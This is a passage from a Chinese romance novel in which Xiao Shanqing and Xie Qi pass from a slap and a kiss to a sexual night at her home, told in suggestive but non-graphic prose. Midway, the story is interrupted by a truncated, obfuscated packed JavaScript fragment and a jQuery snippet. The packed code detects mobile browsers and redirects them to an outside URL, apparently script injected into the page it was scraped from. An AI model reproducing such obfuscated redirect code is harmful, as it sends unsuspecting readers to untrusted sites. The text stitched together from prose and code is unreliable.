她喜欢这张皮囊吗?
那个完全清醒的晓山青会找到说“不”的理由。
但现在,她有点茫然反问自己:
……她真的不喜欢吗?
她那样喜欢日光下波光绚丽的翠湖,喜欢闯过藤桥后破破碎碎的春光,喜欢山顶倾泻而下的流水一样的云雾,喜欢鹧鸪与花鹊斑斓又美丽的羽毛。
所以她怎么会不喜欢这样漂亮的东西?又怎么会不为这漂亮的东西,生出一些小小的、轻微的、微不足道的迷惑与动摇呢?
她毕竟还那样年轻。
……她毕竟还那样年轻。
*
她很少有这样失去理智的时刻。晓山青想。
但现在,她听到了这她向来引以为傲的东西发出了冰凌破碎般的脆响,而后是这句话掀起的狂风席卷而来,以摧枯拉朽的姿态撕碎了她为自己筑起的壳甲——仅仅因为这么一句话。
她大可以把这句话当成疯子的呓语轻轻放过,或者像往日一样继续伶牙俐齿地用口舌反驳,但是她的头脑里空白得可怕。
所以她几乎是惊骇得遵循了本能。
这个刚刚寂静下来的夜中突兀地响起一声脆响。
谢歧微微地偏过头去,散乱的墨发垂落,盖住了他一侧的眉眼。而在他的另一半脸上,逐渐浮现了几道淡红的指痕,仿佛雪地里的红梅。
晓山青张了张口。她其实并没有想好要说点什么,喉间也没有发出任何声音,但谢歧似乎误以为她又想吐出一些既不动听又不悦耳的话来。
于是少年的眼睛里闪过了一抹痛苦的神色,连带着流畅的面部肌肉都微微扭曲了一下。他咬紧了牙关,从齿间挤出了一句模糊的低语,然后凶狠地倾身过来。
……晓山青猛地瞪大了眼睛。
谢歧的脸在她眼前放大,占据了她的全部视野。她看到他颤抖着的、纤长浓密的睫毛,他流光潋滟的瞳孔,他微微上挑的眼尾,还有她留在他脸上的指痕——带着糜艳的红。
太近了……这次她确确实实想发出一点声音,但是下一秒,她的唇就被封堵住了——这回不是酒,而是一个带着浓烈酒气又辗转炙热的吻。
“谢……唔!”
还未退散的暖流再一次席卷了她的全身,血液在耳膜里奔流轰鸣。她只觉得哪里都是热的,手脚发烫,酥麻的痒意从尾椎骨直窜到头顶,连交缠的呼吸里也带着绵绵的热意。
谢歧亲得实在是有些笨拙。可偏偏她自己也没什么此方的经验,对这样陌生的感觉毫无抵抗之力。
她就这样被谢歧托着腰肢挪到了腿上,在短暂的休憩间隙里有点迷惘地看着他。
她的手撑在少年紧绷的肩臂之上,维持着自己由上而下俯视他的姿态,但她依旧没有放开手上拽着的那条银链。被拽紧的链子与银饰总是不松不紧地划过少年的喉结,引得他偶尔为之轻颤。
这是自从谢歧抽条般拔高个子后,她鲜少能拥有的视角。
她有一些新奇,因此毫不吝啬地将自己全部的目光都倾注到了他身上。
在这样的碾磨撕咬之后,谢歧的唇变得红润极了。下唇边缘,她咬破了一个小口子的地方,隐隐约约地渗出了一颗殷红的血珠,又被他轻轻地一舔,消失在舌尖。
他也仰头看着她,用毫不掩饰的贪婪眼神表达着某一种渴求。
晓山青当然知道如果她回应了这种渴求之后会发生什么事。
她向来对“贞洁”“清白”这类字眼嗤之以鼻。
所以她只是仔细地想了想自己愿不愿意。
夜风送来了瀑布丰沛的水汽,外面的草木里逐渐又响起了零零散散的虫鸣,远远的还有歌声飘来。苗人是唱不出“既见君子,云胡不喜”这样含蓄的雅句的,但他们照样有许许多多的山歌来表达同一种情思,用他们最熟悉、最亲切的语言,用更炽热、更直白、更拨人心弦的词句。
如果不看这凌乱的战场,单看这有歌、有酒、有星河倒挂的夏夜,那实在是美妙极了。
如此良夜。
适合衷肠互诉,适合情意相表,也适合互相欺骗,或者……漏夜奔逃。
晓山青忽然伸出手,用指腹重重摩挲了一下那个近在咫尺的伤口。
谢歧发出了轻轻的抽气声,看上去十分可怜。
但她没有停下,而是用指尖撬开了他的唇,粗暴地抵住了上颚迫使他张口。然后她探进去的手指在湿热的口腔里转了一圈,如愿摸到了谢歧那两颗尖尖的犬牙。
她常常这样检查白仙的蛇牙,但这个动作用在谢歧身上似乎也毫无违和感。
只是他被涎水弄得有些狼狈,在含糊的闷哼中还在艰难地用舌卷住她的指尖,带来一直古怪的滑腻触感。
“……你说得对,确实没有人能对这张脸无动于衷。”她喃喃道。
晓山青漫不经心地想着,他的血那么珍贵,确实不该被这么平白浪费。
于是她抽出了手指,在他衣衫散乱的胸口随意地擦了擦,“……不要在这里。”
她补充道:“去我的住处。”
谢歧的呼吸似乎停滞住了。
*
阿爹离家的时候,家里只有晓山青一个人。但即使如此,她依旧把自己的卧房与床铺收拾得很柔软、很温馨。
她当然不想把谢歧带到自己的房间里来。但比起这个,她更不能接受在谢歧那幢前门后窗都被撞得摇摇欲坠的吊楼里继续呆下去。
但她很快又对这个决定感到后悔了——她可以把谢歧扔出去吗?
*
长发变得恼人地累赘了起来。
她想抓握住一点什么东西,忽然被谢歧握住了手,他的五指慢慢从指缝间挤了进来,与她的手扣在了一处。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488514|185748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>还有混着一点淡淡铁锈味的吻。
他流连在她的颈侧、锁骨,每在一个地方辗转停留,都要留下一长串连绵的呢喃:“阿青,阿青,阿青……”
……别叫了行不行。
晓山青盯着深色的帐子顶,忍不住分神想。
但很快谢歧的手把她的注意力又拉了回去。
她几乎是难耐地仰起了脖子。
这样过分亲昵的十指交扣与毫无间隙的相拥,这样一重复一重冲刷着她的热潮,都让她不得不屏住呼吸,拿出十二分的精力去应对。
但凡她微微地分一分神,想一想别的东西,谢歧就会不满地将她拖回眼前的战场,拖进更深更沉的水域。
她感到有些恐惧,又忍不住想战栗。
邻家的阿姐说,挑选情郎的标准无非就两个,年轻、漂亮。后者不必多言,而前者嘛……年轻的总是体力好、会折腾些,阿姐们互相推搡着,笑嘻嘻地调侃道。
谢歧无疑是过于符合标准了。
刚开始他还没暴露本性,可以称得上顺从。但现在,他好像尝到了甜头,几乎是食髓知味了。
他那样缠缠绵绵地叫她的名字,又用小动作迫使她回应。
晓山青被缠得烦了,简直想抓着他的头发把他拎上来甩他两巴掌。
她确实是这么做了,但谢歧这狡猾的东西趁机亲了亲她的手,在她惊愕地怀疑自己的手还能不能要时又滑了下去。于是她只能再次咬住一束已被汗湿的发,像一条被送进煎锅里的鱼。
不,比鱼好一点。一条躺在锅里的鱼是没有指甲与牙齿的,但是晓山青有。
所以当谢歧终于抬起头来、凑过来想要再亲亲她的脖子的时候,已经没什么力气的晓山青还是用指甲和牙齿在他身上再加了一点痕迹。
“……疯子。”她骂道。
“天还没亮。”谢歧答非所问。
“阿青,天还没亮。”他从湿漉漉的长睫下看了她一眼。
晓山青:“……”
“我想睡觉。”她面无表情地说。
“可是我还没好。”谢歧有点委屈地看着她,俯下身趴到她的颈窝,“阿青,你再帮帮我,再帮帮我好不好……”
他又扣住了她的腰把她拉向了他的怀抱,然后低头咬向她的脖颈,毫不客气地在这些衣物遮盖不住的地方留下了更深、更清晰的咬痕。
“阿青,阿青……”
帐子又微微地抖动起来,好像一艘惊涛骇浪之上的小船。
晓山青抓着少年的肩背,昏昏沉沉间忽然想起了谢歧眼中闪过的那抹痛苦到无法忍受的暗色。
明明他俯身的动作那么凶狠,为什么他的脸上还带着这样悲伤的、如同在乞求什么一般的表情呢?
那时候他说了一句什么呢?
好像是……
为什么要把我推给别人?